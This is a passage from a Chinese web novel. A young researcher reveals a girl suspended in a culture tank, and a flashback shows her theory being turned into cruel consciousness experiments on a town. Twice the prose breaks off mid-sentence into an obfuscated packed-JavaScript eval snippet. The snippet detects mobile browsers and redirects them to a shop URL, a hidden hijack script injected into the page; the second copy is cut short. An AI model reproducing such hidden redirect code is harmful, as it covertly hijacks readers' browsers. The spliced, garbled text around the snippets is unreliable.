“效果还不错,”周雨婷自顾自地评价着,语气带着点满意的意味,“数据很清晰:战术素养合格,应变能力良好,个人特色鲜明,而且……”她的目光再次落到脸色苍白、靠坐在断壁旁的沈悬衡身上,带着一种纯粹的好奇,“……指标也意外地达标了。尤其是你,”她几乎要凑到沈悬衡面前,“明明自己状态看起来最糟糕,还总想着挡在别人前面,很有趣。” 陆昭妄被她这番将生死搏杀轻描淡写归结为“测试”和“收集数据”的论调彻底激怒了。 他嗤笑一声:“测试?凭你一个人?设定个死亡关卡和我们五个玩命?现在测试完了,数据也拿到了,我们可以滚蛋了吧?” 周雨婷停下脚步,转过身正对着陆昭妄,眨了眨眼,脸上那困惑的表情更加明显了,仿佛完全不能理解他为什么会问出这个问题。 “走?”她轻轻歪头,“可是我还没说需要你们帮我做件事呢。” 陆昭妄几乎要被气笑了,他撑着膝盖站起来,肌肉的酸痛让他眉心微蹙,但语气里的火药味半点没减。 “帮你做事?凭什么?就凭你刚才差点把我们全都拆成零件?” 周雨婷闻言,用看“智障”的眼神幽幽地盯着陆昭妄:“啊……?你们不是对这个研究所很感兴趣吗?难道不是吗?” 她伸出手指,随意地指了指周围布满战斗痕迹的控制台和那些闪烁着异常光芒的屏幕。 “看来还得做个智商测试……算了,我本来还想告诉你们一些关于这里的小秘密呢……比如关于建造这里的家伙的目的,再比如曾经发生在这里的事情。” 周雨婷的话像带着钩子,精准地抛向了最能引起他们注意的方向。 一直沉默调整呼吸的沈悬衡抬起头,看向周雨婷,声音还有些微哑,却异常清晰。 “你需要我们做什么?以及,为什么选择我们?”她直接指向问题的核心——动机与选择标准。 虞清欢也深吸一口气,压□□内因过度使用异能而产生的虚浮感,努力让声音恢复平时的镇定与亲和力。 “周小姐,如果你想合作,至少需要展现基本的诚意。你承诺的信息,以及你需要我们承担的风险,都需要更明确的说明。” 她试图将这场充满敌意的对峙,拉回到可以谈判的轨道上。 周雨婷的注意力似乎更容易被沈悬衡那种直接的、触及本质的提问所吸引。 她绕过仍对她怒目而视的陆昭妄,朝沈悬衡的方向凑近了两步,完全无视了陆昭妄瞬间绷紧、如同护主野兽般的姿态。 “为什么是你们?” 周雨婷重复了一遍沈悬衡的问题,语气轻快,左手拿起沈悬衡印有天平疤痕的那只手,轻轻抚摸着。 “因为你们‘合格’了。外面现在那么乱,乌泱泱的人要么蠢,要么坏,要么又蠢又坏。能找到像你们这样……‘成分复杂’还勉强能用的组合,挺不容易的。我也挺意外还能看到活的……” 她话说得直白又气人,眼神却像扫描仪一样掠过每一个人,似乎在评估他们的“成分”,最后那句“活的”极其耐人寻味。 周雨婷稍微歪了歪头,像是在回忆什么,语气里带着明显的嘲讽:“你们应该已经知道这团家伙叫什么了。‘现世派’,说白了就是一群自以为能代替造物主、用代码和仪器重新定义生命的家伙。” “‘人造基石’就是他们最得意也最失败的作品之一,妄图用技术批量制造‘完美’的异能者,或者说……更稳定的‘容器’?” “你不怕我们表面答应你,趁你不备的时候突然背叛你吗?”闻人策说道。 “怕你们背叛?” 周雨婷像是听到了什么有趣的事情,晃了晃自己戴着那只严实黑手套的右手,语气带着一种不容置疑的笃定。 “你们不是已经亲身体验过我的实力了吗?我能启动这里的防御系统,自然也能启动别的东西。而且,我觉得你们……至少她们两个,”她的目光在沈悬衡和虞清欢之间转了转,“不像会随便毁约的人。对我来说,这就够了。” 周雨婷的话听起来像是信任,但字里行间都透着隐形的威胁和绝对的掌控感。 “你的实力明显在我们五个人之上,为什么还要特地拜托我们?” “嗯……好问题,不愧是……”周雨婷煞有介事地说,但回答的内容却让人云里雾里。 在沈悬衡微微蹙眉,似乎还想追问具体内容时,周雨婷却已经失去了深入解释的耐心。 她摆了摆那只没戴手套的手,语气变得有些兴致缺缺。 “具体要做什么,等会儿再说。别急,先跟我来,带你们去看点东西。”她转身,朝着控制室一个不起眼的、布满裂纹的金属墙壁走去,“看完之后,你们或许……会更理解一点,也会知道我为什么会拜托你们了。” 周雨婷戴着黑手套的右手随意地在某块看似普通的墙面上按了一下,伴随着微不可闻的机械运转声,一道严丝合缝的暗门悄无声息地滑开,露出后面向下的、泛着幽冷白光的阶梯通道。 一股混合着陈年灰尘、消毒水和某种难以形容的、带着微弱甜腻腐朽的气息扑面而来。 “跟紧点,走丢了可不好找,死在哪个角落我会很困扰的,我是路痴,懒得去找你们。”她头也不回地扔下一句,便率先步入了通道。 五人交换了一个眼神。陆昭妄撇撇嘴道:“我赌五毛,下面绝对没什么能让人心情愉快的东西。”但他还是跟了上去,步伐带着戒备,却也掩不住那份被勾起的好奇。 闻人策沉默地紧随其后,镜片后的目光快速扫视着通道的结构与材质,默默记录着路径和可能的出口。 闻人略护在虞清欢身侧,肌肉依旧紧绷,如同随时准备扑击的猛兽。 虞清欢深吸了一口那并不新鲜的空气,对沈悬衡递过一个“小心”的眼神。 沈悬衡微微颔首,走在最后,她的脚步很轻,脸上没什么表情,只有那双黑棕色的眼眸格外沉静,仿佛在感知着这条向下通道中流淌的、某种细微而不祥的能量残留。 通道比想象中更长,盘旋向下,墙壁是冰冷的合金,上面偶尔能看到一些褪色剥落的危险符号或是模糊不清的编号。 头顶的灯光苍白而恒定,将众人的影子拉长又缩短,脚步声在密闭空间里回荡,显得格外清晰。 周雨婷走在最前面,步伐轻快得像是去郊游。 她甚至开始哼起一段不成调的、旋律平静的曲子,哼到一半,突然没头没尾地开口。 “这里以前可热闹了,人来人往的,虽然大部分时间都只能听到仪器滴滴答答的声音……”她顿了顿,像是想起了什么,侧头看向沈悬衡,“对了,你的头发颜色很漂亮,是天生的吗?” 沈悬衡没有回答,只是静静地看着她。 周雨婷也不在意,又转向闻人略:“大个子,你力气一直这么大吗?是不是从小就能徒手拆东西?” 她的思维跳跃得让人无从捕捉。 闻人略闷哼一声,懒得搭理。 越往下走,空气越发湿冷,那股甜腻的腐朽气味也隐约变得清晰了些。 通道两侧开始出现一些紧闭的、带有观察窗的金属门,窗后一片漆黑,看不清里面有什么。 沈悬衡的眉头几不可查地蹙起,她指尖微微动了一下,那种萦绕不去的、仿佛无数意识被强行糅合又撕裂后残留的“杂音”,在这里似乎变得更加明显了,如同背景辐射般低低嗡鸣。 陆昭妄也察觉到了环境的异常,他不再吐槽,更加警惕地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649246|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察着四周,尤其是前方周雨婷的背影,试图从她随意的姿态里找出任何一丝不自然的破绽。 终于,在仿佛无止境的下行后,通道到了尽头。 一扇厚重的、泛着冷冽金属光泽的大门挡在面前,门体上看不到任何明显的锁孔或把手,只有一个不起眼的、黯淡的识别区。 门旁的指示灯散发着幽幽的、令人不安的绿色光芒。 周雨婷在那扇门前停下脚步,哼唱声戛然而止。 她转过身,脸上那种跳脱和随意收敛了许多,取而代之的是一种难以形容的、混合着期待与某种沉重情绪的平静。 她的目光扫过神色各异的五人,最后定格在沈悬衡脸上,嘴角勾起一个极淡的、几乎算不上是笑容的弧度。 这是众人第一次见到她笑。 “到了,”她的声音很轻,却清晰地敲打在每个人的鼓膜上,“准备好见见我的‘小朋友’了吗?” 周雨婷转过身,将戴着黑手套的右手随意按在那扇冷冽金属大门的识别区上。 没有声音,没有光芒,厚重的大门如同被无形的手推动,悄无声息地向内滑开,露出门后的景象。 一股更浓烈、更冰冷的混合气味涌出——消毒水尖锐的气息,营养液黏腻的微甜,还有一种……仿佛陈年金属与某种生物组织缓慢腐败的、难以名状的腥锈气。 门后是一个比上方控制室更为宽阔的空间,但压抑感却成倍增加。 四周布满了各种仍在低鸣运转的精密仪器,屏幕上流淌着瀑布般的复杂数据,粗细不一的管线如同怪物的血管,在地面和墙壁间蜿蜒爬行,最终汇聚向房间中央。 那里,矗立着一个巨大的、圆柱形的透明培养槽。 培养槽足有数米高,厚重的特种玻璃壁在苍白灯光下反射着冷硬的光泽。 槽内充满了深邃的、如同液态宝石般的幽蓝色培养液,无数细密的气泡从底部缓缓升腾,如同无声的叹息。 而在那片幽蓝的中央,悬浮着一个小女孩。 她看起来不过七八岁年纪,身形纤细,每一寸肌肤都浸泡在营养液里。白色的长发如同银丝般在粘稠的液体中无声飘散,包裹着她苍白得近乎透明的小脸。 她双眼紧闭,长而卷翘的睫毛在眼睑下投下淡淡的阴影,面容安详得如同沉入了一场永远不会醒来的梦境。 她的四肢和躯干上,连接着数十根细如发丝的银色管线,它们像某种诡异的寄生植物,将她与培养槽底座复杂的生命维持系统紧紧相连。 整个场景静谧得可怕,只有仪器运转的低沉嗡鸣和液体循环的细微汩汩声。 一时间,所有人都被眼前的景象攫住了呼吸,僵立在门口。 沈悬衡的瞳孔骤然收缩,医生的本能让她下意识地上前一步,目光迅速扫过培养槽旁闪烁的生理指标监测屏。 心跳、脑波、基础代谢…… 一系列数据在她眼中快速掠过,显示着生命体征的稳定,但这种“稳定”本身,就透着一种非人的、被强行凝固的诡异。 虞清欢下意识地抬手捂住了嘴,眼里充满了震惊与难以抑制的怜悯。 她看着那女孩安详却毫无生气的睡颜,心脏像是被一只冰冷的手紧紧攥住。 陆昭妄脸上的玩世不恭彻底消失了,他眉头紧锁,目光锐利地在那巨大的培养槽和周围复杂的仪器上来回扫视,最后落在周雨婷的背影上,眼神深沉难辨。 闻人策的视线如同最精密的扫描仪,快速记录着房间的布局、设备的型号、管线的走向,大脑飞速运转,试图解析这个庞大生命维持系统的运作逻辑和潜在弱点。 闻人略脸上毫不掩饰地流露出对这种将活人禁锢在液体中的方式的厌恶与愤怒,拳头紧紧握起。 周雨婷没有理会身后的反应,她径直走到培养槽前,隔着冰冷的玻璃,凝视着其中悬浮的女孩。 她之前所有的跳脱、慵懒和戏谑都从身上褪去,此刻她的背影显得异常专注,甚至带着一种近乎凝固的沉重。 她抬起左手,指尖轻轻贴上光滑的玻璃壁,动作轻柔得仿佛怕惊扰了里面的“睡美人”。 寂静中,她开口了,声音很轻,却像投入死水中的石子,清晰地传到每个人耳中,打破了这令人窒息的沉默: “她还在午睡,再过个一小时就会醒来。” “很漂亮吧,她。既漂亮又脆弱。” “现在,我们来谈谈……需要你们帮我做的事。” 37.天才少女 如果你问周雨婷,她这辈子做过的最艰难、最纠结、最耗费心力的决定是什么? 她可能会告诉你,是在她十六岁那年,面对“统一前沿科研理事会”——这名头听着挺唬人,其实就是一帮穿着白大褂、脑子却比身上那层布还白的家伙们捣鼓出来的临时组织——提供的那两份录取通知时,该选草莓味还是薄荷味的营养膏作为欢迎礼物。 好吧,开玩笑的。 礼物是固定的,没得选。 但选择加入哪个部门,对她而言,其纠结程度确实仅次于思考午餐口味。 事情是这样的。 当其他十六岁少女还在为课本上的公式和隔壁班男生的篮球赛加油声烦恼时,周雨婷已经因为那篇惊世骇俗——至少在她自己看来是——的《论意识海能量场的非稳定性与定向共振可能性》论文,收到了“统一前沿”抛来的橄榄枝。 或者说,是砸过来的金砖——附带独立实验室、不限量能源配额以及一个承诺:只要她的脑子还能转,资源管够。 这谁能拒绝?反正周雨婷不能。 难道你能拒绝一个两百万砸在你面前,并且是无主之物的诱惑吗? 她对着镜子拍了拍自己那张还带着点婴儿肥的脸,叹了口气:“唉,才华这东西,藏不住啊。” 然后麻利地收拾了她那点家当——主要是几箱写满演算过程的草稿纸、一台老掉牙但被她改装得性能超标的个人终端,以及一打她最爱的、印着卡通猫咪的记号笔——头也不回地扎进了“统一前沿”那个在当时看来充满无限可能,和消毒水味的大本营。 最初的四年,是周雨婷记忆里最快活,也最“单纯”的时光。 她的世界被简化到了极致:实验室雪白的墙壁、终端屏幕上流动的数据流、能量核心运行时发出的低沉嗡鸣,以及她自己脑子里那些如同烟花般不断迸发又重组的新奇念头。 什么人际关系?那玩意儿有优化能量传导路径重要吗? 什么团队协作?在她看来,大部分所谓的“同事”,其思考速度跟她终端里那个古董级散热风扇差不多。 她像个掉进米缸的小老鼠,快乐地在她那片名为“科研”的海洋里扑腾,偶尔浮出水面,只是为了摄取必要的营养和水分,通常是以营养膏的形式。 “我要做科研的狗,我是最阴暗的老鼠……!” 她甚至没太留意到,“统一前沿”内部那股名为“理念分歧”的暗流,是从什么时候开始变得汹涌,直至最终将整个组织撕裂成两半的。 她只是某天突然发现,食堂里吵架的声音变大了,一些熟悉的面孔不见了,取而代之的是一些眼神更狂热、或者更阴郁的新面孔。 然后,选择就摆在了她面前。 一派自称“奠基者”,主张“谨慎观察,有限利用,维持现状稳定”。他们找周雨婷谈话,语重心长,像极了当年苦口婆心劝她不要跳级、要“享受正常青春”的中学班主任。 另一派,就是“现世派”,口号是“打破壁垒,重塑规则,把握未来”。来找她的是个看起来比她大不了几岁的年轻男人,叫陈瀚,头发乱糟糟的,眼睛里却有种和她类似的、对某个领域极度专注的光。 他没说太多大道理,只是递过来一份清单——新型共振仪,无限量稀有元素供应,最新型号的量子计算模块访问权限,以及一个位于主要研究基地附近、绝对安静、绝无打扰的顶级实验室配置方案。 周雨婷扫了一眼清单,又抬头看了看陈瀚,眨了眨眼。 “什么时候能到位?” 陈瀚愣了一下,随即笑了:“签字,下周。” “笔给我。” 看,就是这么简单。 什么宏大理念?什么人类未来?对她来说,草莓味还是薄荷味或许还能让她犹豫三秒,但在“更好的实验条件”和“听起来就很麻烦的保守派”之间,根本不存在选择题。 至于那个被描绘得充满希望的“回声基石计划”?哦,那只是她新实验室门牌上即将多出来的一行小字而已。 周雨婷抱着她那箱猫咪记号笔,踏上了前往新工作的旅程,心情愉快得像要去参加一场期待已久的科学博览会。 她并不知道,目的地那个叫做“回声小镇”的地方,将会用最残酷的方式,给她上这辈子最铭心刻骨的一课。 最初的一两个月,她对分配给她的新实验室相当满意。 设备顶级,空间独立,除了偶尔从地面隐约传来的、规律得像某种机械运转的集体脚步声,几乎没什么能打扰她搭建她的“桥”——那座连接意识与能量的理论桥梁。 直到某个周日。 她正全神贯注地调试着共振频率,一个极其洪亮、刻板,带着不容置疑语调的声音,猛地透过层层隔断,钻进了她的耳朵。 “统一思想,奉献所有,为了现世的未来和荣光!” 周雨婷握着精密螺丝刀的手一顿,屏幕上刚刚稳定的能量曲线微妙地跳动了一下。 她抬起眼皮,看了看实验室冰冷的金属墙壁,没说话,只是抿紧了嘴唇。 这周的实验数据,在对应时段出现了一组无法用理论解释的微小波动。 第二个周日,噪音如期而至。 周雨婷实在被吵的受不了,猛地打开门,冲出去就要跟负责宣讲的研究人员干架,幸亏有人及时拦着她,不然被吓得瑟瑟发抖的研究人员就要归西了。 第三个周日,熟悉的时间,熟悉的地点,熟悉的噪音。 这一次,周雨婷正在记录一组关键的能量反馈数据,那穿透力极强的宣讲让她漏掉了一个稍纵即逝的共振峰值。 周雨婷看着记录仪上中断的波形,放下笔,默默调出了之前的实验日志。 她一脚踹开了陈瀚的办公室,把实验日志“啪”地扔在他的桌上,用能蹬死人的目光剜着陈瀚。 “你,要么让他们安静下来,要么让他们滚。选一个方法吧。” 陈瀚:“……” 这是能有选择的样子吗?! 陈瀚收下那份实验日志,推了推眼镜,脸上还是那种惯有的、带着纵容的笑意。 “小雨啊……” “叫的太恶心了,换个称呼。” “……小周啊,你的报告我看过了,数据很详实。广场上的思想统一工作是必要的,不过你的研究确实至关重要,不容打扰。研究所地下三层有个备用实验室,当初建造时考虑了极端隔音需求,你觉得怎么样?” “符合隔音标准吗?有独立的能源接口和通风系统吗?” “绝对符合,甚至超出标准。接口齐全,系统独立。” “好,我搬。” 周雨婷干脆利落,一秒都没浪费。 于是,她带着她的全部家当,迅速转移到了地下深处。 当那扇厚重的合金门在她身后闭合,整个世界瞬间万籁俱寂。 她侧耳听了听,确认连一丝一毫的杂音都无法渗透进来,这才抬手拍了拍冰冷的金属墙壁。 这里,就是她周雨婷的地盘了。 至于地面上的人是被洗脑成了木头还是狂热的信徒?关她什么事。 她的“意识海与外部能量场的定向共振与稳定性研究”才是唯一值得关心的。 在这个绝对安静的“地盘”里,周雨婷如鱼得水,常常忘了时间流逝,自然也常常忘了食堂的开饭钟点。 这就不得不提到赵薇——食堂那位总会给她留饭的女孩子。 赵薇比她大几岁,性格爽利,是这冰冷研究所里唯一会像老妈子一样念叨她的人。 “周雨婷!你又错过饭点!胃不要啦?”“今天这红烧肉可是我特意给你留的,快吃!” 直到有一天,周雨婷又一次沉浸在数据流里,等她胃部传来强烈抗议信号冲去食堂时,只看到空荡荡的窗口和赵薇板着的脸。 “没了。”赵薇抱着胳膊,“说了多少次,按时吃饭!这次绝不给你开小灶了,饿着吧!外面那些被‘感化’的镇民都知道准时吃饭,你一个高级研究员还不如他们?” “求求你了……”周雨婷眼泪汪汪地看着她。 “求也不行,今天就要给你个教训!” 赵薇完全不松口,周雨婷只能收起“鳄鱼的眼泪”,脚步虚浮的出去找点吃的。 周雨婷捂着咕咕叫的肚子,第一次真切体会到了什么叫“能源危机”。她引以为傲的大脑此刻只会反馈一个字。 饿。 饿—— 于是,这位天才研究员,人生中第一次,为了解决生存问题,被迫暂时离开了她的“地盘”,溜达到了地面上。 刚走出研究所侧门,广场那边“为了基石,奉献所有!”的口号声就如同潮水般涌来,震得她脑仁嗡嗡作响。 阳光有点刺眼,街道整齐得过分,行人走路的速度和脸上的表情都像被设定过程序。 周雨婷烦躁地皱紧眉头,一边努力屏蔽噪音,一边用目光疯狂扫描可能存在的食物补给点。 在一个僻静小巷的阴影里,她饿得几乎要蹲下来降低能耗时,一团小小的、白色的影子怯生生地挪到了她面前。 那是个小女孩,头发像雪一样披散着,皮肤也白得近乎透明,一双浅蓝色的眼睛在阴影下显得格外清澈。 她看着周雨婷,什么也没说,只是伸出小手,递过来一个白白胖胖的馒头。 “姐姐,你是不是饿了?” 那一刻,周雨婷觉得这小女孩身后简直自带圣光。她几乎是扑过去抢过馒头,狼吞虎咽起来,含糊地挤出一句“谢谢”。 小女孩只是安静地看着她,然后悄悄地转身跑掉了。 周雨婷嘴里嚼着半个馒头,看着她消失的方向,脑子里冒出一个念头。 哦,原来镇上的人不全是只会喊口号的木头人,还有会动的……白色毛线球? 感觉手感会很好…… 这次意外补给像一颗小石子,在她那片名为“研究”的平静湖面上轻轻点了一下,泛起一圈微不可查的涟漪,然后很快沉底。 周雨婷回到她的“地盘”,继续折腾她的“桥”,只是偶尔,在啃着赵薇恢复供应并且分量加倍的红烧肉时,会莫名其妙地想起那个馒头,和那双蓝色的眼睛。 直到那天,周雨婷在迷宫般的地下区域寻找食堂时,推错了一扇门。 门后是条冰冷的走廊,空气里消毒水味浓得刺鼻。 几个穿着同样白大褂的研究员,正引导着一排人走向走廊尽头的隔离门。 那些人穿着普通的衣物,眼神空洞,动作僵硬,和周雨婷在广场上看到的那些被“感化”的镇民如出一辙,只是更加……死气沉沉。 然后,她在那一排灰扑扑的身影里,看到了一抹刺眼的白色。 是那个“白色毛线球”! 周雨婷看着小女孩被夹在人群中,小小的身影显得那么格格不入。 她突然想起来自己还没问过她的名字。 这时,一个研究员拿着文件夹从她身边经过,周雨婷伸手一把扯住人家的领子拖到她面前,粗暴的抽走他手中的文件夹。 研究员:“???” 周雨婷忽略研究员抗议的话语,开始快速翻找毛线球的资料。 “找到了,你走吧。” “?你还没把东西还给我啊!” 《实验体登记表 - 林晓》。 编号:071,姓名:林晓,年龄:十三岁,家庭构成…… 特殊备注:白化病症,光敏性。意识活跃度评级A,能量亲和潜力待观察。 周雨婷看了看文件夹,又看了看林晓,思考着什么。 就在这时,林晓似乎感应到了她的目光,转过头,看到了周雨婷。 那双浅蓝色的眼睛瞬间亮了一下,实验室的光让她的眼睛闪过一丝淡淡的紫色。 她挣脱了母亲的手,小跑着来到周雨婷面前,仰起脸,露出一个有点害羞的笑容:“姐姐!” 周雨婷看着她,大脑还在处理“林晓”和“实验体A级”这几个信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看!我们即将把他们浅薄的个体意识,与更宏伟的能量源连接!这将证明你的理论是正确的,我们将创造一种新的、更稳固的‘基石’!这是里程碑式的……” 周雨婷对眼前的景象毫无兴趣,她只觉得吵。 陈瀚的声音,仪器的嗡鸣,都让她烦躁。 她低下头,百无聊赖地摆弄着自己垂在肩头的一绺头发,心思早已飘回了她那未完成的参数校准上。 就在这时—— 一股尖锐、恐惧、充满极致痛苦的意念,如同烧红的钢针,毫无征兆地狠狠刺入她的脑海。 那不是通过耳朵听到的声音,而是直接在她意识深处炸开的尖叫。 「妈妈……爸爸……好痛……身体要裂开了……姐姐……救救我……为什么这么痛……」 周雨婷猛地抬头,目光巡视了一圈隔离室,最终锁定在那个小小的身影上。 是林晓。 她正紧闭双眼,全身剧烈地痉挛,苍白的脸上满是痛苦扭曲的神情,蓝色的眼睛里蓄满了泪水却无法流下。 她周围的仪器发出了刺耳的警报声,数据屏上的曲线疯狂跳动,失去了所有规律。 周雨婷摆弄头发的手僵住了,血液仿佛在这一刻凝固。 “你们,在对他们干什么?” “干什么?这不是显而易见的事情吗小周!我们在完成史无前例的壮举!这批实验品……” 陈瀚后面在说什么,周雨婷已经听不进去了。 那些冰冷的仪器、闪烁的混乱数据、陈瀚还在继续的兴奋解说……此刻全都化作了最残酷、最清晰的注解。 她搭建的“桥梁”,她倾注心血的理论,根本不是通往什么知识的彼岸或更伟大的未来,它正活生生地、一寸寸地撕裂、摧毁那个给过她馒头和糖果的女孩! 她引以为傲的研究,成了加害的工具! 而她还沉浸在隔绝外界的象牙塔里! 周雨婷纯粹的研究世界,在这一瞬间,被这无声却震耳欲聋的尖叫,彻底击得粉碎。 她脸色煞白,猛地向后退了一步,撞在冰冷的墙壁上。 她什么也没说,只是用一种混杂着震惊、恐惧和巨大难以置信的目光,最后看了一眼玻璃后那个正在承受酷刑的白色身影,然后转身,几乎是逃离了这个地方。 她把自己关在她的“地盘”里,接下来的时间如同梦游。 她无法思考,无法工作,眼前反复浮现林晓痛苦的脸和那直接烙印在灵魂里的求救声。 她试图写报告,用最严谨的语言陈述实验体的极端危险反应,但敲出的每一个字都显得苍白无力。 …… 灾难的降临没有任何预兆。 持续的意识改造终于超出了林晓能够承受的极限。 那一刻,她体内潜藏的力量——那份原本被现世派试图引导控制的异能——彻底暴走了。 失控的能量洪流以她为中心轰然爆发,如同决堤的江河,瞬间冲垮了所有约束装置,席卷了整个小镇。 所有通过"基石计划"与能量源建立连接的镇民,他们的意识在洪流中被瞬间冲刷、扭曲,变成了眼神空洞、步伐僵硬、只会执行基础指令的"怪物——秩序行者"。 研究所内顿时陷入一片混乱。 刺耳的警报声、人们的惊呼奔跑声、建筑结构不堪重负的撕裂声交织在一起。 部分反应快的研究人员开始紧急撤离。 "能量核心过载!必须手动关闭备用闸门!" 赵薇的声音在混乱的通讯频道里响起,她逆着人流冲向控制室的方向。 周雨婷只记得自己正要冲向数据存储区试图抢救一些核心资料,一股毁灭性的冲击波就从研究所核心区猛地扩散开来。 她像片叶子般被狠狠掀飞,后脑重重撞在金属墙壁上,眼前一黑,彻底失去了意识。 38.她如果死了,我绝不独活 周雨婷是在一阵阵仿佛要凿穿颅骨的钝痛和皮肤肌肉被无形力量撕扯、重塑的尖锐刺痛中恢复意识的。 视野先是模糊的红色,然后是旋转的、布满尘埃与裂纹的天花板。 她尝试移动,右臂传来钻心的痛楚和诡异的无力感,提醒她那里已经骨折。 左脸颊火辣辣地疼,触手所及是一片凹凸不平、质感诡异的皮肤,混合着干涸的血迹和粗糙感。左腿稍一动弹,便是清晰的骨裂痛感。 她躺在一片狼藉中,周围是研究所残骸特有的、混合了电路烧焦、金属锈蚀和某种……有机物腐败的复杂气味。 记忆如同断片的录像带,最后定格在失控的能量洪流和赵薇冲向控制室的背影,以及后脑传来的剧痛。 赵薇…… 那个念头只是一闪而过,就被更强烈的冲动覆盖。 林晓。 那个白色的小小身影,那个给她馒头和糖果的女孩,那个在她理论框架下被推向深渊的“成功品”。 周雨婷用未受伤的左手艰难地撑起身体,每一次移动都牵扯着全身的伤痛,冷汗瞬间浸透了残破的研究服。 她像一具即将散架的傀儡,拖着残破的身躯,凭借记忆中对研究所结构的熟悉,朝着核心试验区,朝着林晓最后所在的方向,一点一点地挪动。 外面的世界已然天翻地覆。透过破损的墙体,周雨婷看到小镇街道上游荡着眼神空洞、步伐僵硬的“秩序行者”,它们曾是这里的居民。 建筑因为早期团队的加固没有完全坍塌,但裂痕遍布,数据流光如同垂死的神经,在断壁残垣间无序地闪烁。 这里不再是那个整齐划一、口号震天的小镇,而是一个被强行催生、然后迅速腐烂的怪物巢穴。 终于,她找到了那个地方。 关押实验体的隔离区几乎被彻底摧毁,扭曲的金属和碎裂的仪器堆积如山。 而在那片废墟的中心,一个小小的身影跪在那里。 林晓。 她双手死死地抱着头,瘦小的身体蜷缩成一团,剧烈地颤抖着。 雪白的长发凌乱地披散,遮住了大半张脸。她不是在哭泣,而是发出一种压抑到极致、仿佛源于灵魂撕裂般的、断续而嘶哑的哀鸣。 混乱的、肉眼可见的数据流和破碎的意识碎片如同失控的旋风,以她为中心肆虐,将靠近的一切都排斥在外。 周雨婷看着这一幕。 这就是她的“杰作”。 她搭建的“桥”,没有通往知识的彼岸,而是将一个无辜的女孩变成了痛苦的能量核心,一个失控的“人造基石”,并埋葬了整个小镇的生机。 “真是造孽……就这样我居然还觉得自己是天才……” 一股冰冷的、带着铁锈味的绝望涌上喉咙。 但随之而来的,是一种更决绝的念头。 既然错误已经铸成,既然这痛苦源于她的理论,她的选择……那么,就用这残存的生命去偿还吧。 至少,不能让她一个人承受这无边的苦楚。 周雨婷深吸一口气,压下喉咙口的腥甜和全身叫嚣的疼痛。 她开始朝着林晓的方向,缓慢地、一步一瘸地靠近。 越靠近,那股无形的能量立场就越发强大,如同实质的墙壁,推拒着她,撕扯着她本就残破的身体。 骨骼在哀鸣,伤口在崩裂。但她没有停下。 周雨婷抬起唯一能动的左手,不是去攻击,也不是去防御,只是固执地、艰难地向前伸着,仿佛要穿透那层由痛苦构筑的屏障。 终于,她的指尖触碰到了那肆虐能量场的边缘。 一瞬间,更剧烈的排斥力传来,几乎要将她掀飞。 她咬紧牙关,脚下如同生根,用尽全身力气,又向前迈了一步,然后,张开手臂,不顾一切地、将那个颤抖的、被混乱包裹的小小身体,紧紧拥入怀中。 “呃——!” 在抱住林晓的瞬间,周雨婷清晰地“听”到了——不,是直接“感受”到了。 那不是声音,是直接烙印在意识层面的、海啸般的痛苦洪流。 意识被强行撕裂又糅合的眩晕与恐惧,身体每一个细胞都被陌生能量冲刷、改造的极致痛楚……这就是林晓,以及所有那些被卷入“基石计划”的镇民们,曾经乃至现在仍在承受的地狱。 剧痛如同烧红的烙铁,瞬间从接触点蔓延开来。 周雨婷的右上半身,从肩膀到手臂,以及左脸颊,皮肤和血肉仿佛被投入了无形的炼钢炉,开始扭曲、变形,呈现出一种非人的、如同被数据流和意识残片侵蚀同化的诡异形态。 那是林晓暴走力量的直接侵蚀。 周雨婷几乎要昏厥过去,视野边缘开始发黑。但她死死咬住了下唇,血腥味在口中弥漫开,硬生生将冲到嘴边的惨叫咽了回去。 她只是更用力地抱紧了怀中的女孩,目光死死锁定林晓那双因痛苦而失焦的浅蓝色眼眸。 就在周雨婷感觉自己的意识即将被那无边的痛苦和同化过程彻底吞噬、消散之际—— 怀中的林晓,身体猛地一僵。 或许是周雨婷这不顾一切的拥抱唤醒了林晓残存的人性,或许是那强行忍耐、不愿以惨叫加重她痛苦的意志被感知到,又或许……仅仅是林晓认出了这个给过她短暂温暖、又带来无尽痛苦的“姐姐”。 那肆虐的能量场,骤然一滞。 如同潮水般退去。 林晓用最后一丝清醒的意志,强行中断了对周雨婷的同化过程,并猛地将她推开。 力量的反噬让林晓如同断线的木偶,软软地倒了下去,彻底陷入了昏迷。 周雨婷也被这股推力带倒,重重摔在地上,剧烈的疼痛和精神的冲击让她也瞬间失去了意识。 …… 不知过了多久,周雨婷再次醒来。 首先感受到的是身体右侧和左脸那麻木中带着刺痛的触感。 她抬起未完全同化、尚且属于人类的左手,颤抖地触摸自己的左脸颊——那里不再是光滑的皮肤,而是某种粗糙、冰冷、仿佛覆盖着无机质甲壳的诡异质感。 她低头,看到自己右肩至腰部,也变成了类似的、扭曲的非人形态。 她愣了一下,随即明白了。 林晓在最后关头,推开了她。 林晓不想让她死。 这个认知,像一把更钝的刀子,缓慢地割开了她的心脏。 那个被她伤害至此的女孩,在自身意识即将被痛苦吞噬的边缘,仍然选择了……保护她? 复杂的情绪——愧疚、悲伤、一丝微弱的、被原谅般的暖意,以及更沉重的责任——淹没了她。 周雨婷挣扎着坐起,看向旁边昏迷的林晓。 小女孩呼吸微弱,眉头紧锁,显然即使在昏迷中也不安稳。 必须做点什么。 周雨婷忍着剧痛,开始利用研究所残存的设备和自己的知识。 她将林晓小心地安置进一个尚能运作的培养槽中,调整能量参数,试图维持林晓生命。 她四处寻找着还未被摧毁的材料,制作出一种能抑制她那失控的异能外放,避免她继续伤害自己,也避免能量彻底枯竭的培养液。 